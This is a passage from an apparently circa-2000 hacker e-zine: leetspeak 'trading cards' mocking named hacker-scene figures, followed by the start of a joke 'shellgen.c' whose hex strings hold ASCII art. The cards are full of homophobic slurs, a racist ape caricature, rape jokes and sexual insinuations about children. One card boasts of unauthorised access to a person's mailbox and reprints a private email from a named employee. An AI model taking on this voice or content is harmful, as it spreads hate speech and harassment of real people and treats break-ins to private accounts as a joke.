  2226.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2227.    | Famous line: "ILL DO EVERYTHING BUT I WONT NUKE FBI.GOV" <-   |
  2228.    |> meatloaf                                                     |
  2229.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2230.    | Charactoristics: SEE DESCR1PTION BEL0W                        |
  2231.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2232.    | l4m4h t4m4h br1ngz u H/P/V/C/A TR4D1NG K4RDZ !@#!@#!#         |
  2233.    +                                                               +
  2234.    | th3z k4rdz w1ll c0nt4in all y0ur H/P/V/C/A her0z @#           |
  2235.    +                                                               +
  2236.    | th3z k4rdz w1ll b distr0'd in ph4s3s, f0r ex4mpl3 0ur f1rst   |
  2237.    + ph4ze includez: RLoxley,route,so1o,emmanuel,lore,lusta,       +
  2238.    | gov-boi,Al Hugher,Solar Designer <- juzt t0 g3t shit k1qst4rtd|
  2239.    +                                                               +
  2240.    | th4y w1ll f0ll0w a str1ct f0rmat. Y0U c4n uze th3z c4rdz      |
  2241.    + any w4y u want suzh a$: H/P/V/C/A P0K3R, H/P/V/C/A MONOPOLY   +
  2242.    | & much much more@#!  EVEN TR4D3 F0R W4R3Z WITH TH3M!@#!       |
  2243.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2244.    | l4m4h t4m4h H/P/V/C/A tr4d1ng k4rdz (C) 2000                  |
  2245.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2246. [END_CUT] Intro
  2247.  
  2248. [CUT_HERE] RLoxley
  2249.     0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
  2250.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2251.    | Handle: RLoxley | Affiliationz:  HackPhreak, Condemnation, gH |
  2252.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2253.    | Contributions: Various ETHICS paperz, #hackphreak@unet, 46G-CP|
  2254.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2255.    | Special powerz: Can bore u 2 death with lectures, Wuz a NAVY  |
  2256.    |> SEAL, haz many a cult followrz (#hp), h1z blUe bl0qrz emb0dy |
  2257.    |> the infam0uz "R4Y 0F DE4TH", he rUnz pe4ce and pr0tecti0n!@  |
  2258.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2259.    | Famous line: "harassment = ban"                               |
  2260.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2261.    | Charactoristics: 6' 320lbs, long bushy h4ir, blUe bl0qrz,     |
  2262.    |> cl0wn noze, double ch1n, h0rnz, gut, hp tatoo on hiz fohead  |
  2263.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2264.    | h0rnz ->       %%%%%%%       <- bUzhy h4ir                    |
  2265.    + (hidden)      %/%%%%%\%                                       +
  2266.    |    :         @\[o]^[o]/@     <- k-k00l spex (blue bl0qrz)     |
  2267.    +    :        %%%|  *  |%%%    <- cl0wn noze                    +
  2268.    |   .:.      %%%%(  o  )%%%%   <- bre4th 0f dEath               |
  2269.    +    :      %%%%%% --- %%%%%%  <- m0re buzhY h4ir               +
  2270.    |                                                               |
  2271.    +  Soci4l n0te: h1z h0w4rd st3rn appe4rEnce e4rnz h1m br*wnY    +
  2272.    |               p0intZ am0ngZt h1z pe4rZ                        |
  2273.    +                                                               +
  2274.    |  W4RNING: h1z blUe bl0qrz emb0dy the "R4Y 0F DE4TH"           |
  2275.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2276.    | l4m4h t4m4h H/P/V/C/A tr4d1ng k4rdz (C) 2000                  |
  2277.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2278. [END_CUT] RLoxley
  2279.  
  2280. [CUT_HERE] emmanuel
  2281.     0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
  2282.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2283.    | Handle: Emmanuel (Oryan QUEST's father) | Affiliations: 2600  |
  2284.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2285.    | Contributions: 2600 radio show (off the hook), Contributed    |
  2286.    |> many original philes to the LesserAgedPorn Society, gave     |
  2287.    |> Kevin Mitnick AIDS/ORAL HERPIES/SCABIES/IAS (ItchyAssSyndrom)|
  2288.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2289.    | Special powerz: He hunts in packs, he c4n wh1stle a 2600 tone |
  2290.    |> into your e4r and fuk up y0ur equilibrium, he kn0wz the      |
  2291.    |> analyzr, he c4n unleash Oryan QUEST on u (Oryan QUEST is     |
  2292.    |> currently loqt in h1s f4thrz b4sem4nt itz fukt), he b3l0ngz  |
  2293.    |> to EHAP (so doez RLOLXLEY) (WHAT THE FUCK), he k4n h1de      |
  2294.    |> ch1ldr3n in h1s f4t when th4 FBI arr1v3Z, h3 p0s3ses the     |
  2295.    |> n4sty c0q 0f De4TH - one enc0unter w1th any fluidz and u will|
  2296.    |> d1e isnt4ntly fr0m eveRY sTD kn0wn to m4nk1nd & pl4n3t e4rth |
  2297.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2298.    | Famous line: ->                                               |
  2299.    |> <emmanuel> teehee :D furlong: you awake?                     |
  2300.    |> furlong (zeus@alamo.satexas.com) (Internic Commercial)       |
  2301.    |> ircname  : I'm gay, really, I am                             |
  2302.    |> channels : @#gaycams @#gayteenpics @#gayteenboys             |
  2303.    |> @#gaynetmeeting @#guycams @#gayteennetmeeting @#gaydads4sons |
  2304.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2305.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2306.    | Charactoristics: h3z beyond the sk0pe of thez tr4d1ng k4rdz   |
  2307.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2308.    | TAKEN FROM A NASA SPACE HUBBLE TELESCOPE (only pic on record) |
  2309.    +                                                               +
  2310.    |    #%%#                   /^\     <- Destroyed 6 NYC bl0kz    |
  2311.    +   ##%###                  ||  \                               +
  2312.    |   ##(  )##=======#==%%==#=||   O ~.                           |
  2313.    +  ####(  )%                ||  /    .                          +
  2314.    |   #%##%%#                 ||/       .  '                      |
  2315.    +                                     .                         +
  2316.    |                                 __`\./___                     |
  2317.    +                                                               +
  2318.    | He g0t t00 excited aT the LesserAgedPorn Society CON 1999     |
  2319.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2320.    | l4m4h t4m4h H/P/V/C/A tr4d1ng k4rdz (C) 2000                  |
  2321.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2322. [END_CUT] emmanuel
  2323.  
  2324. [CUT_HERE] gov-boi
  2325.     0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
  2326.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2327.    | Handle: gov-boi | Affiliations: gH, hack.co.za, #DARKNET      |
  2328.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2329.    | Contributions: gov-boi h4z brought t0 uz the b3st exploitz on |
  2330.    |> the pl4n3t - his s1te hack.co.za speci4l1zez in expl0itz that|
  2331.    |> *if* the expl0itable prog0r4m *wuz* setuid root - WE'd GET   |
  2332.    |> r00t sh3llz!@#!@ s0 b4sic4lly we r h0peing f0r adm1nz too    |
  2333.    |> recursivly chm0d everyth1ng setuid root#@! TH1S W1LL B TH3   |
  2334.    |> D4Y FOR THE H4CK3R!@#!@ "/bin/ls" exploit by loophole [gH],  |
  2335.    |> h3 h4z br0ught t0 uz the w0nd3rz 0f #DARKNET on efnet - ipph |
  2336.    |> u r int0 wAAAAAArEEz tr4de th1s is the pl4ce 4u (so1o !@)!,  |
  2337.    |> and f1n4lly - wh4t w0uld we d0 with0ut all h1z gH expl0it/   |
  2338.    |> msc4n fr0nt3ndz - WERD GOV-BOI TH4NKZ (o shyt i juzt f0und   |
  2339.    |> /bin/cat suid root WaREZ waREZZZZZZ waREZZZZZZZZZZZZZZZZZ)   |
  2340.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2341.    | Special powerz: d0nkey k0ng p1n att4k - he inc0rper8z a d0nky |
  2342.    |> k0ng f1st sl4m w1th a double dr4g0n p1n att4ck t0 destr0y h1z|
  2343.    |> v1ct1mz, sup3r y3ll0w s0dim1zr - h3 s0d1m1z3s y0u w1th       |
  2344.    |> _fr3sh_ b4nn4n4 (n0 r0tt0n b4nn4nz), HE CAN RM YUOR BOX AT   |
  2345.    |> ANY MOMENT (albeit, only pr0gz normally not suidr00t must be |
  2346.    |> ch4nged to suidr00t, sory already suidr00t progr4mz r not    |
  2347.    |> vuln3rable),h3 - lyke RLoxley - h4z many followerz "You may  |
  2348.    |> stop one of us but you cant stop us all" werd                |
  2349.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2350.    | Famous line: eye d0nt even kn0w th1s f4gg0t s0 eye'll m4k3 1up|
  2351.    |> "Heh, mixter is elite."                                      |
  2352.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2353.    | Charactoristics: h3 l00kz just lyke an APE - i g0t n0thing    |
  2354.    |> against zaire d@@dz but th1s one t4k3z the c4k3, "WaReZ"     |
  2355.    |> tatoo'd to h1s forhe4d, l@@kz just lyke his m0ther           |
  2356.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2357.    | n@t1ce h1z ZAIRE appear3nce (t4k3n s0mewh3r3 in th3 c0ng0):   |
  2358.    +        .-"""-.                                                +
  2359.    |       / WaReZ \   <- ap3 lyke f0rhe4d                         |
  2360.    +     (_|o o/   |_  <- ap3 lyke eyez                            +
  2361.    |      / "  \   ,_) <- ap3 lyke e4rz                            |
  2362.    +      \ O  /__/    <- ap3 lyke m0uth (hez stalking h1z prey,   +
  2363.    |       ;--'           (then h3 w1ll pe4l the phuq out of it)   |
  2364.    +              <- n@tice the dr3wl dr1ppn from hiz ch1n         +
  2365.    |                                                               |
  2366.    + n@te: h3 1z dr@@l'n bec0z their r b4nn4n4z full o WAReZZZZZ   +
  2367.    |       nearby                                                  |
  2368.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2369.    | l4m4h t4m4h H/P/V/C/A tr4d1ng k4rdz (C) 2000                  |
  2370.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2371. [END_CUT] gov-boi
  2372.  
  2373. [CUT_HERE] lore
  2374.     0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
  2375.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2376.    | Handle(s):  lore,l-n1nja,fiddler | Affiliations: (cheq this   |
  2377.    |> du0dz affiliationz out h4h4h4h4h4!) gH, TeamSploit, f0rpaxe  |
  2378.    |> TREATY (ROFLMAOLoL ahha), #fubuhacking @ undernet (b4h4h4h4),|
  2379.    |> Team HackPhreak (aaaaaahahahahahah), XYZ (wh0a, s0me s0urcez |
  2380.    |> t3ll uz l0re iz 1n XYZ g0od g0ing br0 now ur 3v3n 1000000000 |
  2381.    |> timez m0re LAyME), #hacktech (l4m3rz), 0h yeh btw TREATY     |
  2382.    |> st4ndz f0r lyke TEDDI RUXPIN ENTHUSIASTS what a f4gg0t,      |
  2383.    |> packetstorm security, insomnia communications                |
  2384.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2385.    | Contributions: h3z an av1d p0ast3r 0f DoS att4kz f0r          |
  2386.    |> pack3tst0rm security, h3z g0t t0nz 0f defacementz on         |
  2387.    |> attrition.org k0z hez 0ne 0f the b3st defacerz there iz, h3  |
  2388.    |> add3d elite k0l0urz to smurf s0urcez, he c0ntrib'd linux     |
  2389.    |> 2.0.36 k3rn3l s0urcE t0 ftp.uu.net/tmp f0r all the k1d1ez to |
  2390.    |> have, h3 h4z als0 contributed much t00 the h4ckphre4k k4use  |
  2391.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2392.    | Special powerz: h3z g0t a bcast list 0ut 0f th1s w0rld i sw4re|
  2393.    |> p1ss h1m 0ff and ur fuqn m0d3m iz powd3r3d to4st, he w0rx 4  |
  2394.    |> xyz s0 hez g0t all the l4t3st 0day (n@t3 t0 s3lf, dont run   |
  2395.    |> netsc4pe he w1ll cr4sh it @!#!@#!@), hez g0t 2 BB gunz (co2  |
  2396.    |> p0wered i m1ght ADD) m0unt3d t0 h1z tricycle for wh3n he g0ez|
  2397.    |> r0und hall'n *buq buq buq*, 1f u r f3m4l3 bew4r3 0f th1s     |
  2398.    |> l4m3A$$ m0thrfukr h3'll pr0b4bly trY and r4pe u              |
  2399.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2400.    | Famous line: ->                                               |
  2401.    | <lore-> l4m4ht4m4h                                            |
  2402.    | <lore-> i had checkpoint mailing me                           |
  2403.    | <l4m4ht4m4h> oh really?                                       |
  2404.    | <l4m4ht4m4h> what they say ?                                  |
  2405.    | <lore-> when was the last time a high profile company msiled  |
  2406.    |> you                                                          |
  2407.    | <l4m4ht4m4h> hahaha                                           |
  2408.    |                                                               |
  2409.    | i (l4m4ht4m4h) f0und th1s v3ry funny bec0z i h4v3 ax$         |
  2410.    | t0 h1z XYZ m4il s0 l3tz se4 wh4t h3z t4lk1n ab0ut:            |
  2411.    |                                                               |
  2412.    |Message: 22 of 34                                              |
  2413.    |Folder: INBOX                                                  |
  2414.    |From: "Scott Walker Register" scott.register@us.checkpoint.com |
  2415.    |to Address Book   Filter Sender                                |
  2416.    |Date: Thu, 6 Jul 2000 15:46:46 -0500                           |
  2417.    |Subject: FW-1 DOS attack inquiry                               |
  2418.    |Header: Displaying BriefHeader Show Full Header                |
  2419.    |[line.gif]                                                     |
  2420.    |Gentlemen-                                                     |
  2421.    |After extensive testing with the source code you provided, we  |
  2422.    |>have                                                          |
  2423.    |been unable to reproduce any system problems with any version  |
  2424.    |>or                                                            |
  2425.    |platform.  Could you please provide more details, such as the  |
  2426.    |>exact                                                         |
  2427.    |version and platform where you were able to produce a system   |
  2428.    |>crash?                                                        |
  2429.    |Thanks,                                                        |
  2430.    |-SwR                                                           |
  2431.    |                                                               |
  2432.    | wh04 l0re n3v3r em4il3d h1m b4q, i gueSS h3z keepn it -1d4yz  |
  2433.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2434.    | Charactoristics: 6'5 180 ALL MUSCLE, a cross dug into his     |
  2435.    |> chEEq, bcast l1st bandana - for when hez claimin, so1o'z     |
  2436.    |> emirgibeeprteledce - getz ahold of hiz boy so1o quik as hell,|
  2437.    |> h3z pitch white kinda lyke gh0st                             |
  2438.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2439.    |                                                               |
  2440.    +      ^^^^^^^^^       <- cheq 0ut h1z buzzkut                  +
  2441.    |    *(  O  o   )*     <- n@te: if u r evr cr4qn on h1m, he 1z  |
  2442.    +      |  ? .:.|          he4ring imp4ired                      +
  2443.    |      \ []  : /                                                |
  2444.    +       `-----'        <- h3z in awe, h3 just n0ticed           +
  2445.    | n@t1ce how ugly he iz   netscan.org 1n hiz win2k b0x'z monitr |
  2446.    +                         hez th1nkn "i w1sh i c0uld smurf l4m4h+
  2447.    |                         t4m4h" <- h4h4                        |
  2448.    +                                                               +
  2449.    | f4r 0ff in the b4qr0und eye'M ch3qn h1z XYZm4il 4 WaRRRRRez   |
  2450.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2451.    | l4m4h t4m4h H/P/V/C/A tr4d1ng k4rdz (C) 2000                  |
  2452.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2453. [END_CUT] lore
  2454.  
  2455. [CUT_HERE] route
  2456.     0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
  2457.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2458.    | Handle: route | Affiliationz: Phrack, The Guild, TiC, LIBNET  |
  2459.    |> Packetfactory, r00t, r00tparty, layer8                       |
  2460.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2461.    | Contributions: Phrack editor, Libnet, TheInfinityConcept      |
  2462.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2463.    | Special powerz: Wrote many a DoS att4k, will kiqban you from  |
  2464.    |> #phrack, uzez b1g fuqn w0rdz in h1z paperz/c0dez, gave m1tniq|
  2465.    |> Libnet v0.1 pri0r to hiz arrest (fe4r), C4N STE4L YOUR HONEY |
  2466.    |> (honey meanz chiq) BY FLASHING THEM W1TH HIZ BIN4RY CIRCUITRY|
  2467.    |> TATOO @! JUZT 0NE GL4NCE AND Y0URE 1N H1Z P4NTZ (hiz motto)  |
  2468.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2469.    | Famous line: "* route is away [coding]"                       |
  2470.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2471.    | Charactoristics: Depends on the CON, sliqt up h4irWaReZ, b1g  |
  2472.    |> @ss forhe4d, r4y b4nz spex, g0 tee fu m4n chu, oily sk1n,    |
  2473.    |> bin4ry circuitrY t4t00, LIBNET tatto on hiz genitalia, bu1lt |
  2474.    |> lyke pee wee h4r man on the ho4rze, rusty coq ring (he forgot|
  2475.    |> Nirva gave it too him)                                       |
  2476.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2477.    |                                                               |
  2478.    +     _\.//|/.\._   <- h4ir dun sliqt up                        +
  2479.    |     >         <                                               |
  2480.    +     @\<O>-<O>/@   <- r4y banz, eyez r open w1de becoz he se4z +
  2481.    |      |   ^   |       b1g pl4nz - b1g future w1th Libnet(TM) by|
  2482.    +      \  <_>  /       h1z s1de                                 +
  2483.    |       --,,,--     <- g0 tee fu man chU                        |
  2484.    +                                                               +
  2485.    | N@te t@ self: route loox lyke a fucking f@ggot                |
  2486.    +                                                               +
  2487.    | N@te: p1c taken aft3r he finished the Libnet lUzrz RefMan     |
  2488.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2489.    | l4m4h t4m4h H/P/V/C/A tr4d1ng k4rdz (C) 2000                  |
  2490.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2491. [END_CUT] route
  2492.  
  2493. [CUT_HERE] so1o
  2494.     0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
  2495.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2496.    | Handle: so1o,so7o,t,es | Affiliations: Code ZeRo, m1lw0rm,    |
  2497.    |> ashtray, ns2.co.uk, coderz.org 0r s0me shYt                  |
  2498.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2499.    | Contributions: Code ZeRo, Defaced many a webp4ge, mscan'd many|
  2500.    |> a netw0rk, wuz the b1ggezt k0urieR in h4kr h1story, k0uri3r'd|
  2501.    |> many a k0de, wuz in m4ny ezinez (2 b m4de fun of: BoW, b4b0, |
  2502.    |> the l1st g0ez on), so1o.irc (automated k0de begging scr1pt), |
  2503.    |> dr0pt RLoxleyz inph()'z                                      |
  2504.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2505.    | Special powerz: c4n basic4lly get any k0de he wrote an auto-  |
  2506.    |> mated c0de begg1ng scr1pt (b4sic4lly what eye am trying 2 say|
  2507.    |> iz -> Y0UR W4R3Z _IZ_NOT_S4F3_), h3z a .uk g4ngmembr (armed  |
  2508.    |> w1th batt0n WaReZ), carriez h1s k0deSurviv0r t00lk1t wherevr |
  2509.    |> he g0ez (arm3d w1th batt0n and c0deZ), wh3n he enc0unterz u  |
  2510.    |> in pers0n (at a CON) he we4rz h1z neuroWaReZ goggl3z which   |
  2511.    |> f0rc3 u t0 h4nd 0vr your fl0ppy d1ske3tteZ, he bu1lt the     |
  2512.    |> f1rst m4ss b0dy orrifice sc4nr for when u trY t0 h1de ur     |
  2513.    |> WaReZ fr0m h1m, h3 1z arm3d w1th the l4t3st 0d4y b3c0z n0w he|
  2514.    |> 1z a p4yed h4kr (penetration tezter @ burger k1ng), one l4zt |
  2515.    |> word -> th1s gUy iz very d4nger0uZ                           |
  2516.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2517.    | Famous line: ->                                               |
  2518.    |> "h4y br0 g0t anY 0d4y WAreZ??"                               |
  2519.    |> "C4n u hUKe up ur 0ld budy w1th s0me -1d4y WArEZ ?????"      |
  2520.    |> "c0m3 on br0 g1mme s0me fuqn k0d3z"                          |
  2521.    |> "du0de, wtf d0 i h4vet0 d0, suq ur k0q irl 4 waRREEz?"       |
  2522.    |> "COME ON M4N U K4N HUKE ME UP W1TH W4R3Z I D0NT DISTR0"      |
  2523.    |> "ill tr4de u tonz of rootshell waReZ 4 one 0day warEZ."      |
  2524.    |> "LoL :) stop pl4yin, oh wait holdup, i g0t dcc autoget on"   |
  2525.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2526.    | Charactoristics:                                              |
  2527.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2528.    | (w0rk1n)   %%%%%       <- j4rry kurl m0h4wk (eLitE in .uk)    |
  2529.    +            %%%%%                                              +
  2530.    |      ^(WAREZ) (warez)^ <- h1z neuroWaReZ g0ggl3z (uze flaq)   |
  2531.    +         [v^WAREZ^v]    <- h3 sw4ll0wZ wAAAArEZ whole @!#!@    +
  2532.    |              #         <- sk4thed fr0m "WaReZ surv1v0r" the   |
  2533.    +                           m4de 4 ZDTV m0vie                   +
  2534.    | (normal)   %%%%%                                              |
  2535.    +            %%%%%       <- j3rry kurl h4wk                     +
  2536.    |      ^(  O  ) (  O  )^ <- n0te h1z neuroWaReZ g0ggl3z r off   |
  2537.    +         [v^v^v^v^v]    <- n0tice hez WarEzivourous -Eatz WaREz+
  2538.    |              #         <- the sk4the (lyke cr4wf0rz m0le)     |
  2539.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2540.    | l4m4h t4m4h H/P/V/C/A tr4d1ng k4rdz (C) 2000                  |
  2541.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2542. [END_CUT] so1o
  2543.  
  2544. [CUT_HERE] skel
  2545.     0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
  2546.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2547.    | Handle(s):  | Affiliations:                                   |
  2548.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2549.    | Contributions:                                                |
  2550.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2551.    | Special powerz:                                               |
  2552.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2553.    | Famous line:                                                  |
  2554.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2555.    | Charactoristics:                                              |
  2556.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2557.    | p1c                                                           |
  2558.    +                                                               +
  2559.    |                                                               |
  2560.    +                                                               +
  2561.    |                                                               |
  2562.    +                                                               +
  2563.    |                                                               |
  2564.    +                                                               +
  2565.    |                                                               |
  2566.    +                                                               +
  2567.    |                                                               |
  2568.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2569. [END_CUT] skel
  2570.  
  2571. [END_DIR] lt
  2572.  
  2573.  
  2574.        ___________________________
  2575.     .-'                           `-.
  2576. [05]|    a w4lk d0wn mem0ry l4me    |[05]
  2577. [05]|               by:             |[05]
  2578. [05]|          Team    Sploit       |[05]
  2579.     `-.___________________________.-'
  2580.  
  2581.     The reason we are reposting this is because, well, we are
  2582.     fed the hell up at lamers biting our style. Here we include
  2583.     the original shellgen.c and shellgen advisory + exploit. Then,
  2584.     we include the lame ass attempt to bite TeamSploit's style by
  2585.     Scrippie and Team b0f. They wrote a lame as hell exploit for
  2586.     the wonderful hellkit. FUCK OFF LAMERS.
  2587.  
  2588. [BEGIN_DIR] shellgen
  2589.  
  2590. [CUT_HERE] shellgen.c
  2591. /* shellcode generator
  2592.    by Mixter
  2593.    PRIVATE - DO NOT DISTRIBUTE!
  2594.  */
  2595.  
  2596. char *welk=
  2597. "\x20\x20\x20\x20\x20\x20\x20\x2f\x5c\x0a\x20\x20\x20\x20\x20\x20\x7b\x2e"
  2598. "\x2d\x7d\x0a\x20\x20\x20\x20\x20\x3b\x5f\x2e\x2d\x27\x5c\x0a\x20\x20\x20"
  2599. "\x20\x7b\x20\x20\x20\x20\x5f\x2e\x7d\x5f\x0a\x20\x20\x20\x20\x20\x5c\x2e"
  2600. "\x2d\x27\x20\x2f\x20\x20\x60\x2c\x0a\x20\x20\x20\x20\x20\x20\x5c\x20\x20"
  2601. "\x7c\x20\x20\x20\x20\x2f\x0a\x20\x20\x20\x20\x20\x20\x20\x5c\x20\x7c\x20"
  2602. "\x20\x2c\x2f\x0a\x20\x20\x20\x20\x6a\x67\x73\x20\x5c\x7c\x5f\x2f\x0a";
  2603.  
  2604. char *ark=
  2605. "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x5f\x2e\x2d\x2d\x2d\x2e\x5f"
